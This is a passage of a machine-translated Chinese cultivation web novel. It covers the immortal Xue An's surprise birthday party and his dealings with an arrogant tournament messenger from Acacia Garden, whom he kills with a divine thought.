    Xue An was a little bit dumbfounded, but didn''t bother to care about it, just asked: "Did he have any changes during this period?"


    Zhang Xiaoyu shook his head, "Everything is normal, but his momentum is getting more and more volatile!"


    Xue An glanced at the thin young man sitting in front of the wall, and said lightly: "No way, if you don''t pass the training of the heart demon, how can you become a strong man in such a short time?"


    That''s right.


    Now what Xing Yushu falls into is the demon dream that Xue An has meticulously woven for him.


    In this demonic dreamland the flow of time is out of sync with the outside world.


    That is to say, just a few days in the outside world, but it may be a few years in the dream.


    This is what Xing Yushu actively requested after hearing Xue An weigh the pros and cons.


    His goal is very clear, and that is to become the strongest in the shortest time.


    It seems that the entry is fairly smooth.


    Thinking of this, Xue An asked: "Where is Yan''er?"


    "Ah, Sister Yan just returned to Fu Bao Xiaolou, and I don''t know what I''m doing!"


    Please remember the domain name of this book��s first publication:. The fastest mobile version update URL:

 Chapter 1297： Big surprise

    Back to Fu Bao Xiaolou? Xue An was taken aback for a moment.


    In fact, after entering this world, Xue An has been communicating with An Yan through spiritual thoughts.


    It''s just that at the beginning, because the situation was not yet clear, and because of the inconvenience of running around, bringing Yan''er with her, Xue An never let her out.


    But An Yan knew what was happening outside.


    After destroying the Jinding Pavilion this time, Xue An saw that the overall situation had been determined, and this allowed Yan Er to emerge from the Fubao Xiaolou.


    But why is she going back now?


    Xue An had a trace of doubt in his heart, and said to Zhang Xiaoyu: "Watch him, you must tell me in time if there is any abnormality!"


    "Don''t worry, sir, I promise to look at him with good eyes!" Zhang Xiaoyu waved his tentacles, then clasped them together, making a decision.


    Xue An nodded, then flashed around and walked into the Fubao Xiaolou.


    As soon as he left, Zhang Xiaoyu let out a sigh of relief, and then he laughed, "Fortunately, the adults didn''t ask carefully, otherwise I would say that the stuffing is exposed!"


    Thinking of An Yan''s instructions before leaving, and Hu Ying''s "threat", Zhang Xiaoyu felt a kind of rejoicing for the rest of his life.


    "I don''t know what the adults will look like when they know all this? I really want to see! Hehe!" Zhang Xiaoyu said to himself, and then stretched out his hand and took out a brand new game from his trouser pocket. Machine, continue to fight.


    When Xue An walked into the Fubao Xiaolou, he couldn''t help but let out a slight surprise.


    Because he discovered that the usual lively Fubao Xiaolou had become very deserted at this moment.


    The empty space in front of the small building was empty, and the inside of the small building was also empty.


    Xue An''s eyes changed slightly, and the smile on his face instantly became cold, and the majestic spirit directly covered the entire Fubao building.


    But as far as he could reach, there was still no trace of An Yan and the two little girls.


    The whole world became very lonely, only the few giant ocean beasts in the eyes of the sea still existed.


    Xue An''s eyes were as cold as ice, and as soon as he raised his hand, the dozen giant ocean beasts lurking on the bottom of the sea were lifted out of the water.


    "What''s the matter? What about Yan''er and the others?" Xue An said coldly. As far as the momentum was concerned, the space around him kept showing cracks in his debut.


    Under these powers, the dozens of giant ocean beasts trembled, and then the largest beast that led them said with difficulty.


    "Big...sir, Lou!"


    In the Sea of ??God''s Punishment, due to the blockade of Qi, these giant ocean beasts, despite their tyrannical strength, were not able to use their wisdom.


    It wasn''t until the **** pattern **** entered this small talisman building that they began to gradually unlock their wisdom.


    But because of the limitation of talent, even those with the deepest cultivation level can only say some very short sentences.


    But this is enough.


    When Xue An heard the words, his eyes were bright, and the Fubao Xiaolou was once again covered by his mind.


    really.


    After careful exploration this time, Xue An found that there seemed to be a slight strangeness in the top floor of Fu Bao Xiaolou.


    It seems that something exists, but this feeling is very vague and weak, which is why Xue An just didn''t discover it.


    Xue An snorted coldly, then turned into a streamer and went straight to the Fubao Xiaolou. Little Bookstore


    When Xue An left, these dozen ocean beasts fell back to the surface.


    Then they gathered together and looked at the leading behemoth with anxious eyes.


    The behemoth waved its tail helplessly, "Madam strange, nothing can be done!"


    This is the clearest logical sentence it can say.


    At the same time, Xue An had already come to the front of Fubao Xiaolou without talking nonsense. He smashed through the windows of the top floor and got inside.


    At the moment when he landed, Xue An pushed his cultivation to the limit, a red lotus fire appeared between his eyebrows, the sword light in his hand loomed, and his heart was even more murderous.


    If anyone dares to hurt Yan''er a vellus hair, then I will bury the whole world.


    But at this moment, I only heard a bang, and then the colorful flowers fluttered down.


    Xue An was taken aback for a moment when he saw Miss and Nian Nian in a white princess dress rushing over in cheers, "Dad! Happy birthday!"


    At the same time, the dark top floor suddenly brightened up, and An Yan slowly walked out with a huge cake cart, and said with a gentle smile: "Husband, happy birthday!"


    Xue An was a little dumbfounded, but at this time the two little girls had rushed to the front. Xue An hurriedly dispersed the red lotus industry fire, withdrew the sword intent, and then hugged the two daughters in his arms.


    "What''s going on?" Xue An was still a little confused.


    Think about it. Haw kissed Xue An first, and then smiled and said, "Dad, today is your birthday. Have you forgotten it?"


    "birthday?"


    "That''s right!" Nian-nian first pulled out his gaze from the huge cake, sucked her saliva, and said seriously: "Mom said, according to the calendar on the earth, today is your birthday!"


    "That you����."


    Before Xue An finished speaking, he saw Hu Ying fall out of the void, and even though she was a little embarrassed, she still said with a smile.


    "Brother Xue, how is it? My newly awakened bloodline talent is amazing, right? I actually fooled you!"


    Xue An then understood that the person who had just deceived his spiritual thoughts and perfectly concealed the breath of An Yan and two little girls was Hu Ying!


    Xue An couldn''t help but smiled and nodded, "It''s really good!"


    This is not a good thing from Xue An, but Hu Ying did a good job.


    You must know that the Qingqiu Fox Country is a major force among the heavens, and the Sky Fox family is even the top monster race, with extremely noble blood, otherwise it would not give birth to so many amazing talents.


    But the more noble the bloodline, the more difficult it is to awaken. As far as Xue An knows, the first time Fox Ye awakened the bloodline talent after he stepped into Da Luo.


    But now, Hu Ying has awakened such a terrifying talent with a not-so-excellent cultivation base, and even deceived her own mind detection.


    If this news spreads, Qingqiu Fox Country probably will have to blow up its nest.


    Those old guys who have been hiding in the fox''s cave for ten thousand years must also show up in groups and try to get this fox back.


    Thinking of the scene where dozens of old foxes that can be called the demon ancestor level and their important people, even Xue An can''t help but get a little hairy.


    Hu Ying hadn''t thought about this at all, she just thought that her newly awakened talent was very interesting.


    As for how to awaken... just look at those fighting games that were cleared by Huying.


    At this time, An Yan pushed the cake cart to the front, and said with a smile, "Husband, you don''t have to blame Ying''er, I let her do it! After all, you had birthdays several times before, and we were not around , This time I have a chance, and I will naturally give you a big surprise!"


    "How about it, are you very happy?" An Yan blinked and smiled softly.


    Please remember the domain name of this book��s first publication:. The fastest mobile version update URL:

 Chapter 1298： Make a wish!

    Xue An only felt that a warm current surged in his heart.


    Of course, Xue An at this moment certainly wouldn''t mention how anxious he was just now.


    He just smiled and nodded: "Happy, very happy!"


    Think about it smilingly and say: "Dad, this cake is made for you by my mother!"


    Nian Nian also nodded hurriedly, "Yes! Mom''s cake is delicious!"


    While talking, Nian-nian swallowed quietly.


    Upon seeing this, Xue An laughed and waved his hand, "Really? Then I want to try it!"


    With that said, Xue An came up with her two daughters and was about to eat cake.


    An Yan glanced at Xue An tenderly, "Wait!"


    With that said, An Yan opened the lunch box, and there were 28 birthday candles inside.


    An Yan personally inserted the candles on top of the cake and lit them one by one. Then he smiled and said, "My husband, make a wish first!"


    Xue An looked at the candles on the cake with a daze.


    When he was a child, Xue An''s family was very poor, so naturally he dared not have the extravagant hope of having a birthday.


    After growing up, his parents died, and Xue An began to study alone. Sometimes even eating was a problem, and he didn''t even think about celebrating his birthday.


    Until I met An Yan in college, I missed it again and again because of various trivial matters.


    But at the time Xue An thought very simple, thinking that there would be plenty of opportunities in the future.


    Unexpectedly, with one mistake, Xue An had left for three thousand years.


    During these three thousand years, Xue An met many friends and witnessed countless big scenes. Even later, he became a peerless immortal, whose status and status are extremely noble.


    But he still never had a birthday.


    Even he himself is about to forget that he still has a birthday.


    Until today, seeing all this carefully prepared by Yan Er, he suddenly realized that today is his birthday!


    After seeing the 28 candles that An Yan personally inserted, Xue An''s heart was even more mixed, and he couldn''t tell what it was like.


    At this time An Yan said softly: "Husband, I don''t care how long you have been away, but in my eyes, you are still the same Xue An, and according to your age, today is your 28th birthday! So..."


    An Yan swept the temples scattered around her ears, and said with a chuckle: "Make a wish!"


    Xue An smiled, with ease and joy in his smile, and then nodded.


    "it is good!"


    Before this, Xue An had never made a wish.


    Because he only believes in one sentence, it is better to ask for yourself!


    What''s more, in these heavens and myriad worlds, who can be stronger and have a higher status than him?


    But today, Xue An is willing to make an exception for An Yan.


    He opened his eyes when he put his hands together and said something silently.


    "All right!"


    Hu Ying couldn''t help but leaned over, and asked curiously: "Brother Xue, what do you wish for?"


    "Hush! Don''t ask, it won''t work if you say it!" An Yan was happily like a child, preventing Hu Ying from continuing to ask.


    Xue An smiled, and then blew out all the candles in one mouthful!


    "Blow candles and eat cake!" Nian Nian couldn''t help cheering.


    As soon as there was a cake to eat, the koi ball floated out from nowhere, and started to spin around the cake with salivation.


    It stands to reason that as a spirit transformed by a **** pattern, it has no sense of taste and should not be interested in food.


    But after spending a long time with Niannian, it has also become greedy.


    For example, this time, although there were no hands or feet, it did not hinder the ball from eating. When it opened its mouth, it swallowed the piece of cake that was given to it in one bite, and then looked at Anyan with pity.


    An Yan was a little dumbfounded, but he still cut another piece of it.


    But before she put it down, the ball swallowed again, and then it flipped its body happily in the air, but then, it suddenly curled up together, seeming to endure some huge pain.


    "What''s the matter with the ball?" The two little girls who were eating cakes were panicked when they saw their playmates like this.


    An Yan was also taken aback, then hesitantly took a bite of the cake she made by herself.


    It''s alright! The taste is not bad, so what happened to this ball?


    At this time, Xue An, who was also concentrating on dealing with the cake in his hand, couldn''t help but chuckle, "It''s interesting! Is it going to evolve so soon?"


    Then Xue An lowered his head and said to the two worried little girls: "I miss you, the ball is okay, it''s just evolving!"


    "Evolution... then will it become a human?" Thinking about it, the question was raised.


    "Yeah! I really hope that the ball becomes a person to play with us!" Nian Nian said with a bulging face while eating.


    "Become a human?" Xue An smiled and shook his head, "How simple it is! It is transformed by a ray of the essence of the fallen god, and it is not contained by the world, so if it wants to cultivate human form, it has to It is hundreds of times more difficult than other monster races!"


    Hu Ying nodded, "Brother Xue is right, how can the monster race be transformed so easily!"


    really.


    I saw that the scales on the koi ball began to emit a faint golden light, and it became more and more bright.


    In an instant, it became like a gilded goldfish.


    Then I saw cracks appearing on this dazzling brilliance, and finally burst into pieces.


    And from it, a koi that was much larger than before, and its shape became more delicate and beautiful.


    "Ball ball!" the two little girls shouted in surprise.


    The koi swam over immediately, rubbing his head on Miss Missing with affection, making the two of them giggled, and then ignoring the cake, they went out to play with the koi.


    When there were only three people left in the room, the atmosphere became a little weird. When Hu Ying saw this, she slumped her mouth secretly and picked up a piece of cake on the table, "I''ll send it to the guy, Zhang Xiaoyu!"


    After speaking, he left.


    Quiet in the room.


    Xue An looked at An Yan with a smile, and did not speak, so he flushed An Yan''s cheeks and couldn''t help taking a sip.


    "So pretty?"


    Xue An nodded, "Good-looking! Yan''er is the most beautiful in the world!"


    An Yan took a sip, "Glittery tongue!"


    But the smile between her eyebrows can also tell how happy she is actually.


    But the next second, these joys turned into a scream.


    Because Xue An didn''t know when he had appeared behind her, and then took it into his arms.


    An Yan wanted to struggle, but Xue An only whispered in her ear, "Don''t move!"


    Then her whole body weakened.


    a long time.


    An Yan blushed and leaned against Xue An''s arms, and asked softly, "Is it delicious?"


    A smirk appeared on Xue An''s face, "Are you talking about cake or you?"


    An Yan was so ashamed that she beat Xue An''s chest hard, "Of course it''s a cake! It took me a lot of effort to make it!"


    "It''s delicious!" Xue An answered honestly, and immediately added another sentence.


    "But it''s not as delicious as you!"

 Chapter 1299： Call me queen!

    "Speaking like this again, I will ignore you!" An Yan pretended to be angry.


    Xue An suddenly became playful, then stretched out a finger, gently lifted An Yan''s chin, and smiled evilly, "Woman, do you know that you are playing with fire like this?"


    An Yan froze for a moment, then his eyes gradually widened, and Zhu''s lips bit lightly, but he didn''t know when his hand had reached Xue An''s waist, and he suddenly pulled.


    Xue An''s calmness and calmness just disappeared and disappeared, replaced by a cold breath and shouted, "Oh, it hurts!"


    "Women, right? Playing with fire, right?" An Yan didn''t fight, but his hand strength had already loosened three points unconsciously.


    Xue An grinned, "Yan Eryan, I was wrong! I was just playing with you!"


    "Come on? That''s good, then I will have fun with you today!" An Yan''s hand strength increased a bit.


    Xue An complained repeatedly, and finally calmed down the blown hair.


    "Huh! I''ve decided, I won''t be allowed to call me Yan''er in the future!" An Yan was still angry.


    "What does that call you?" Xue An looked dumbfounded.


    An Yan thought for a moment, suddenly his eyes lit up, and he blurted out: "Call me the queen!"


    "This... isn''t it good!" Xue An hesitated.


    "Huh?" An Yan raised an eyebrow, "Do you have an opinion?"


    Xue An hurriedly waved his hand, "No, no, how can I have any opinions! I just think...it was good, but suddenly calling Queen Eight is too awkward!"


    "What Queen Eight?" An Yan was almost mad, "I said two words! Not three words!"


    "So it''s like this!" Xue An nodded.


    "Call me!"


    "Okay... okay!" Xue An showed a trace of embarrassment, then took a deep breath, and slowly said, "Baby?"


    boom!


    A tender fist hammered directly on Xue An''s chest.


    An Yan wanted to show that she was very angry, so she kept her face hard and glared at Xue An.


    But all these efforts were put into running water under Xue An''s smirk.


    Because An Yan couldn''t hold it back first, he laughed.


    While laughing, she thumped Xue An angrily.


    "I let you scold me, I will kill you, a conscience!"


    Xue An didn''t dodge, but he didn''t dare to use defense, otherwise, what to do if An Yan is injured again.


    Fortunately, An Yan also had a sense of measure, and looked very aggressive, but when hitting Xue An''s body it became limp.


    "Okay, okay! Just kidding! Stop it!" Xue An explained with a smile.


    "Yeah!" An Yan just stopped, but then she was mad at Xue An''s words.


    I saw Xue An smile, "Even if my Yan''er is the bastard, it is the most beautiful one in the world!"


    "roll!"


    The two laughed for a long time, and finally snuggled on the sofa, enjoying this rare quiet time.


    After a long time, I heard An Yan whisper: "Husband?"


    "Ok?"


    "This world that I came to this time seems very weird!"


    Although An Yan didn''t have as strong spiritual consciousness as Xue An, she could also find that the world was very wrong based on her feelings.


    Xue An smiled and stroked An Yan''s hair, "It''s a bit weird, but it''s not a big problem!"


    "Oh!"


    There was another silence, and then An Yan whispered softly: "Husband, what should we do next?"


    Xue An leaned on the sofa and said lightly: "Since even this Jinding Pavilion has inherited the Chinese Orthodoxy, the other great caves should also be inextricably linked, so I am going to watch this Orthodoxy comparison. Look!"


    "Hmm!" An Yan stopped talking.


    Xue An''s face was hidden in the darkness, only a pair of eyes were as gentle as jade, but in his heart, a thought came up silently.


    Old friend, are you ready? I...but already smelled a trace of your breath!


    Just when Xue An and An Yan were enjoying the world of the two in the Fubao Xiaolou.


    In the Golden Ding Pavilion, Hu Ying and Zhang Xiaoyu put their heads on their heads, manipulating the handheld game consoles in each other''s hands, and were having fun playing.


    "Your reaction is too bad! Welcome my big move! Ollie here!" Hu Ying exclaimed excitedly.


    Zhang Xiaoyu didn''t have this leisure at all, she saw her face extremely solemn, her tentacles waved out all the phantoms, trying to fight with Fox Ying.


    It''s a pity that she can''t beat even a built-in program, how can she get through all fighting games and even awaken her own bloodline talent to Hu Ying''s opponent.


    After just a few breaths, only the sound of KO came, and Zhang Xiaoyu was defeated again.


    Now, Zhang Xiaoyu sat there blankly, his face gradually becoming pale.


    Hu Ying curled her lips, then put down the handheld, and said in a leisurely tone: "Forget it, how much do you owe me now?"


    Zhang Xiaoyu whispered for a moment, and finally whispered: "One hundred and thirty-one years, four months and two days!"


    Huying smiled like a little fox (it was originally), "Tsk tsk, it turns out there are already so many! But how come there are still small pieces?"


    Zhang Xiaoyu lowered his head and said weakly, "The more is interest!"


    "I can''t see it, your brain is not good, your hands and feet are even more dumb, but the math is pretty good!" Hu Ying patted Zhang Xiaoyu on the shoulder.


    "There is a future, work hard in the future! When the time comes, I will naturally return you free!"


    If outsiders were here, they would probably hear them dumbfounded, not knowing what they were doing.


    Only the two of them knew in their hearts.


    Originally, since the two of them became fascinated by fighting games, they were fighting endlessly all day just like they had become demons.


    But the two went to two extremes. Hu Ying quickly mastered the knack, got through all the relevant cards, and even played new tricks, such as one-handed killing the super difficult level BOSSNone The injury is over, wait for this.


    Although Zhang Xiaoyu has a few more tentacles, he has never been able to get started.


    Even now, she has to rely on luck to pass even the most common level.


    However, she was still very reluctant to lose, and often began to challenge Hu Ying after consciously making some progress.


    But after one come and two, she didn''t make any progress, and she always took the initiative to give people away. Hu Ying was also annoyed and didn''t bother to care about her.


    Zhang Xiaoyu began to bet against Hu Ying, but she had nothing to do with her, and the only one who could be worth some money was herself.


    So she began to sell her time, but she didn''t expect to fall into it, and eventually owed a "huge debt" for more than 100 years.


    For more than a hundred years, Zhang Xiaoyu had to serve Hu Ying unconditionally. To put it bluntly, she was a slave girl.


    So when he heard Hu Ying��s proud words, Zhang Xiaoyu��s complexion became very ugly, and finally lifted up and said very seriously: "Sister Fox, rest assured, I will definitely defeat you and lose me. I got everything back for you!"

 Chapter 1300： The place of great comparison, Acacia Garden!

    Fox Ying smiled, and said in a leisurely manner: "Okay! Then I''ll wait!"


    Zhang Xiaoyu began to study her fighting plan again.


    Hu Ying leaned on the chair, looked at the opposite Xing Yushu who was still trapped in the dream of her heart, and then cast her gaze out of the window.


    Because they were in the highest building of Jinding Pavilion, there was an endless sea of ??clouds outside the window.


    Hu Ying watched quietly, but a touch of sadness appeared in the depths of her eyes.


    It''s been so long...Isn''t it coming out?


    At this moment, I heard a voice full of joy from outside.


    "Master Xue, are you there?"


    Ok?


    Fox Ying raised her eyebrows.


    woman?


    And the joy and expectation in this voice sounded too familiar.


    A playful smile appeared on Hu Ying''s delicate and refined cheeks, and then sat up and gently adjusted her sideburns.


    Although it was just a very simple combing, it made her whole person seem to glow in a flash.


    And this scene, Sheng Miaotong, who was also excitedly rushing into the house, looked at him.


    Then she was stunned.


    Because she didn''t expect that such a beautiful almost illusory girl would appear in the house.


    Hu Ying looked at Sheng Miaotong in an instant.


    Hmm... It''s okay to look barely! But dressing can only be said to be average!


    The final conclusion, both in appearance and temperament, is far worse than himself.


    After reaching this conclusion, a faint smile appeared at the corner of Hu Ying''s mouth.


    "This girl, who are you looking for?"


    Sheng Miaotong was a little silly.


    With the strong support of his father, Sheng Miaotong did not delay at all, and hurried over in the footsteps of Xue An.


    Thinking of the previous battle, all the disciples in Jinding Pavilion already knew this Sheng Miaotong.


    Everyone knew that this was the person who knew the grandfather who killed God. Naturally no one dares to stop.


    So she easily came to the top floor of the building, but she didn''t expect to see Xue An yet, but saw such a beautiful girl.


    Sheng Miaotong''s heart gradually tightened, but he gritted his teeth and bit his scalp and said, "Xue...Where is Master Xue?"


    "Oh, you ask me Brother Xue! He is not here now, but he will be back soon! Are you looking for him?" Hu Ying said lightly.


    "Also...nothing!" Sheng Miaotong''s eyes became more and more gloomy.


    Brother Xue...


    This name is like a heavy hammer, hitting Sheng Miaotong''s chest directly, making her breathing difficult.


    "Since the adults are not here, then I will leave first!" After that, Sheng Miaotong turned to leave.


    At this moment, I saw bursts of brilliance in the room, and then I saw Xue An walking out of it.


    As soon as he saw Xue An, Sheng Miaotong''s face showed joy, and he opened his mouth just as he was about to speak, but he was stunned again.


    Because Xue An turned sideways and stood aside after walking out, as if waiting for something.


    Then I saw Guanghua floating, and a graceful figure slowly emerged.


    After seeing the whole picture of the woman who came out, Sheng Miaotong''s mouth gradually opened up, and the brilliance in her eyes dimmed a little bit.


    Because even if she was as proud as her, after seeing An Yan, she had to admit that she was too far away, no matter her temperament or her appearance.


    Looking at the smile on Master Xue''s face and the unconcealable love in his eyes, this woman should obviously be his closest person.


    The more he thought about it, the more humble Sheng Miaotong became.


    He didn''t even dare to lift his head.


    All the beautiful ideas on the road when I came here are all shattered at this moment.


    An Yan also noticed Sheng Miaotong at this time. Because Xue An often communicated with her through spiritual thoughts, An Yan naturally knew about this girl.


    But on this occasion, she didn''t need to say anything, just glanced at Xue An lightly, and then turned and left.


    Xue An was also slightly taken aback when he saw Sheng Miaotong, but even if he understood something, he couldn''t help but smile, "Did your family let you come?"


    Sheng Miaotong trembled all over, lowered his head and said: "Yes!"


    "Well, since your father made this decision, then you can stay!"


    After speaking, Xue An also turned and left.


    Sheng Miaotong lowered his eyes without saying a word, and finally bowed his head deeply and said in a voice that only he could hear: "Hmm!"


    But at this moment, suddenly heard bells ringing from under the Jinding Pavilion Mountain.


    Everyone was taken aback.


    In the Jinding Pavilion, in addition to the bell ringing at the opening ceremony of the mountain, if there are distinguished guests with special status, then the bell will also ring to notify everyone.


    Could someone visit this time?


    As soon as this question arose, I heard a cold voice coming from down the mountain.


    "The Taoist Dabi messenger, come to meet the head of Jinding Pavilion!"


    The sound was not loud, but it spread throughout the entire Jinding Pavilion in an instant.


    "Husband?" An Yan was taken aback.


    Xue An smiled slightly, "Okay, I get it!"


    Then said in a calm tone: "Come on, please!"


    The huge living room of Jinding Pavilion was soon occupied by the disciples and elders of the same sect.


    During this period of time, the ups and downs of Jinding Pavilion can be described as chilling, and what''s more, even the intention to withdraw from the faction has emerged.


    After all, no one knows what Xue An comes from and what he wants to do?


    And this time even the rumored Dao Tong University sent a messenger. These people naturally want to see how Xue An plans to deal with this matter.


    But when Xue An led An Yan and Hu Ying to appear in the meeting room, the originally noisy hall was silent, and many people were shocked by An Yan''s temperament, and all looked stupid.


    At this moment, I saw a young man with a cold face slowly walking into the drawing room.


    "You... are the head of Jinding Pavilion?" The young man walked to the middle of the venue, looked up at Xue An, and said coldly.


    "No!" Xue An smiled.


    "Huh?" The young man showed a touch of consternation and then said in a deep voice: "Call your heads to come!"


    The words are quite rude.


    Xue An didn''t care, but smiled faintly, "He may not be able to come for the time being, because he is in retreat! Just tell me if you have anything!"


    The boy frowned, "Tell you?"


    "Yes!" Xue An smiled sincerely.


    The young man glanced at the audience and saw that many people were shivering and timid, and a look of contempt flashed deep in his eyes.


    It really deserves to be the Jinding Pavilion that is rumored to be the last one!


    Just with this imposing attitude of the gatekeeper disciple, you know what they are!


    Therefore, he smiled coldly, "That''s fine! Tell anyone the same! I''m here on the order of the master of my house to inform the caves that this time the Orthodox Grand Tournament is my third cave, Xiangsi Garden! "


    "At that time, I invite you all to participate as soon as possible!"

 Chapter 1301： If you hear it, get out!

    There was an uneasy commotion among the crowd.


    A sneer of disdain appeared on the young man''s face, and then asked in an arrogant tone: "How about? Are you Jinding Pavilion participating or not? Give me an answer now!"


    "Oh? Can you still participate?" Xue An asked suddenly.


    The young man snorted coldly, "If it is for other caves, naturally it can''t, but you Jinding Pavilion..."


    The boy glanced at the people with different expressions, and sneered: "There is no big difference between participating and not participating. After all, it is the last one!"


    These words were simply arrogant and arrogant.


    The crowd was in an uproar, and the complexions of many people changed drastically.


    Because these words are simply too bullying.


    Even if Jindingge''s previous results were poor, it is not something you can insult a little messenger.


    Therefore, many people secretly looked at Xue An, wanting to see how he would deal with it.


    Xue An leaned on the chair and looked at the teenager playfully, then the corners of his mouth raised, revealing a cold smile.


    "What do you say... do you represent Acacia Garden? Or just represent yourself?"


    The voice was indifferent, but it contained a chill of not anger and prestige.


    The teenager trembled, and a slight look of horror appeared in his eyes, but Xuan even gritted his teeth again and coldly said: "What does it represent for Xiangsi Garden, and what does it represent for me?"


    Xue An tapped the armrest of the seat lightly with his fingers, and said lightly: "It''s very simple. If this means your teacher wants you to convey it, then I have to consider that your teacher doesn''t exist yet!"


    "If it''s your own meaning..." Xue An''s eyes narrowed slightly and his tone was harsh, "Then I''m very curious, what gives you the courage to make you dare to speak like this?"


    Under questioning, a panic flashed in the young man''s eyes.


    Because he found that when facing Xue Anzhi, he couldn''t even mention the belief in resistance.


    Especially when Xue An laughed, all he could feel was a deep chill.


    This made his heart tremble, and finally lowered that arrogant head, and said in a low voice: "I''m sorry, but I just said something wrong, please forgive me!"


    Xue An didn''t even look at him. Instead, he lowered his head and fiddled with his fingers, and then said in a calm tone: "Go back and tell the person who instigated you, that Jinding Pavilion will not only participate this time, but also win. First in this competition!"


    boom!


    Xue An''s words, like a blockbuster, caused a stormy sea to rise in the meeting room.


    "What? The first place in this competition? I heard that right?" An elder from Jinding Pavilion asked with a dull expression.


    "Yeah! It sounds like a dream!" someone next to him echoed.


    "It''s not easy! Don''t talk about the sword immortals in the first cave, just this Xiangsiyuan is already very uncomfortable! If I say, this time I can get rid of the last one, it is already good!" Someone shook his head and sighed. Tao.


    The boy was shocked all over, then raised his head and looked at Xue An with amazement.


    "This����."


    "Huh?" Xue An raised his head and said lightly: "Didn''t you hear me clearly?"


    The boy lowered his head, a flash of anger flashed in his eyes, and then nodded.


    "I heard it!"


    "Very good, then get out!" Xue An said lightly.


    This attitude caused another commotion in the crowd that was originally noisy.


    We must know that in the past, when Jinding Pavilion faced the messenger of Dao Tong Dabi, it was like a guest for fear of offending.


    But this time Xue An not only "speaking wildly", but also bluntly let the other party go!


    Not to mention anything else, this momentum alone has surpassed the previous volts too much.


    Many young children in the Golden Ding Pavilion were excited, and they looked at Xue An with a touch of convincing worship.


    For these teenagers, they naturally like Xue An''s tough attitude.


    But many people, especially the many elders of Jinding Pavilion, all shook their heads secretly.


    I think Xue An''s move is a bit too arrogant, and it is easy to attract unnecessary right and wrong.


    really.


    I saw this young man''s body was shocked with a hideous look on his face, and then he suppressed it again, nodded heavily, and said in a very blunt tone: "Okay! If you say, I will bring it naturally! Please also. You Jinding Pavilion are ready to leave!"


    After all, he turned around without hesitation.


    Sheng Miaotong gritted her teeth secretly, then stepped forward and whispered: "My lord, do you want to..."


    Xue An waved his hand, "No need!"


    After that, Xue An took a meaningful look at the young man who reported the letter, then narrowed his gaze, and said lightly: "Get ready, leave today and go to... the third cave!"


    The many disciples in the hall bowed together, "Yes!"


    The elders looked at each other. Although they all saw the worry in each other''s eyes, they finally bowed their heads deeply.


    Just when Jinding Pavilion began to prepare.


    After the young man who reported the letter, he did not return directly to the third cave sky, but flew in the opposite direction.


    After half an hour, a small city appeared in front of him.


    A blazing light appeared in the young boy''s eyes, and he flew directly into the city and landed in a courtyard.


    Under a camphor tree in the courtyard, a woman dressed in a light blue shirt, described as beautiful and charming, is swinging on a swing.


    After the boy landed, when he saw the woman, a flattering smile appeared on his face, and even his breathing became a little heavy.


    "Senior Sister!"


    The swing stopped slowly, and the woman showed a slight smile, "How are things going?"


    After seeing the woman''s smile the boy seemed to have been dumbfounded, and it was a long time before he woke up like a dream and stammered.


    "Back to Senior Sister, the words have already been brought!"


    "Oh? What did Jinding Pavilion say?" the woman asked with a smile.


    The young man was a little dizzy and looked at the woman madly, "Jin Ding Pavilion intends to participate in this competition, and they also said that they will win first place above this competition!"


    Upon hearing this, the woman''s eyes were bright, "What?"


    With a shout, the camphor tree that was full of flowers instantly turned into powder. The woman slowly got up, staring at the young man with piercing eyes, "Did you follow my instructions?"


    The boy trembled all over and nodded hurriedly, "Yes! I just said it according to your instructions?"


    The woman showed hesitation on her face and whispered softly: "Why? This time the Jinding Pavilion''s vitality is severely injured, coupled with the Lu family affairs, unless he is a fool, shouldn''t he try to avoid conflict?"


    Speaking of this, the woman suddenly raised her head and said coldly: "Is it a young man who spoke to you?"

 Chapter 1302： Ambition is not terrible, but know how to be awe

    The boy nodded, with a spiteful look on his face, "Yes, and this guy is very arrogant, and even speaks badly to me! But the women around him look really good, if you can catch it Get up, at least you can make several excellent Acacia furnaces!"


    As soon as the voice fell, a grand divine thought suddenly rose from the young man''s body.


    The woman screamed.


    But before she could react, the young man''s head exploded directly, and Shen Nian Yuwei directly shook the woman far away.


    Wow!


    The woman smashed several walls one after another, and finally barely landed, and then looked up with amazement.


    At this time, Xue An''s indifferent voice came from the void.


    "I want to use this to disturb the situation, do you think you are qualified?"


    A look of horror appeared on the woman''s face, and her whole body shuddered.


    "Go back and tell your Shimen and the other caves and heavens, this time the Taoist Grand Tournament, Jinding Pavilion will win! I said!"


    The woman hurriedly lowered her head, "Yes!"


    There was a long silence.


    After a while, the woman secretly raised her head in fear.


    There was no one in the audience.


    Except for the headless corpse on the ground in the distance and the crushed wall, it seemed that everything was just a dream.


    The woman took a deep breath and stabilized the boiling blood, the fear in her eyes gradually faded and replaced by a full of gloat.


    "Lu Lingfan, you didn''t even dream of it! Just when you were in retreat, your family was actually destroyed by someone, and looking at the current situation, the person who did it seems to be stronger than I thought before!"


    "I really look forward to your reaction after hearing this news!"


    The corners of the woman''s mouth were raised, and a smile full of jealousy was outlined.


    That''s right!


    She is also a disciple of Tianxiangsiyuan in the third cave, and she is also the true biography of the inner room.


    It''s just that compared to Lu Lingfan, who was favored by the teacher when she started, regardless of her talent or appearance, she was overwhelmed by Lu Lingfan.


    Baihan''s situation is much more ordinary.


    Even in many cases, she exists as Lu Lingfan''s background board.


    Baihan was naturally full of jealousy, but she was helplessly inferior in strength, and she had nothing to do.


    Until this time, she served as the messenger of Taoist Dabi to send letters to the big caves.


    When she finally arrived at Jinguangdongtian, before she left, the news that Jinding Pavilion was destroyed by Xue An spread.


    As soon as Baihan moved in his heart, he did not show up, but hid in the sidelines and watched.


    After the news came that Xue An had uprooted the Lu family, Bai Han was overjoyed.


    She vaguely felt that this time should be the best opportunity to deal with Lu Lingfan.


    So she started planning this matter.


    This time, the young man who went to report the letter was brought by her temporarily, just to find out the meaning of Jinding Pavilion.


    But never expected that Xue An would be drawn out.


    Recalling the vastness and power of the divine mind just now, Baihan''s heartbeat speeded up, his face gradually turned red, and he laughed a few times.


    "This time the Orthodox Tournament Competition is probably going to be a lot more lively! I really look forward to it!"


    After all, her figure gradually faded, and finally disappeared in the courtyard.


    At the same time, Xue An in the Golden Ding Pavilion also looked back.


    The spirit of that young man was naturally left by him, because at the first sight of this young man, Xue An could see that his spirit seemed to be entangled by something.


    These things can''t influence his behavior, but they can subtly control his emotions.


    So Xue An moved in his heart and left a divine thought on the young man.


    Xue An originally wanted to use this method to see who was behind him.


    But I didn''t expect that this young man would dare to speak rudely to Yan''er and the others, so Xue An would naturally send him on the road without hesitation.


    As for the result....


    A sneer appeared at the corner of Xue An''s mouth.


    Although Baihan hides deeply, Xue An can see the ambition in her eyes at a glance.


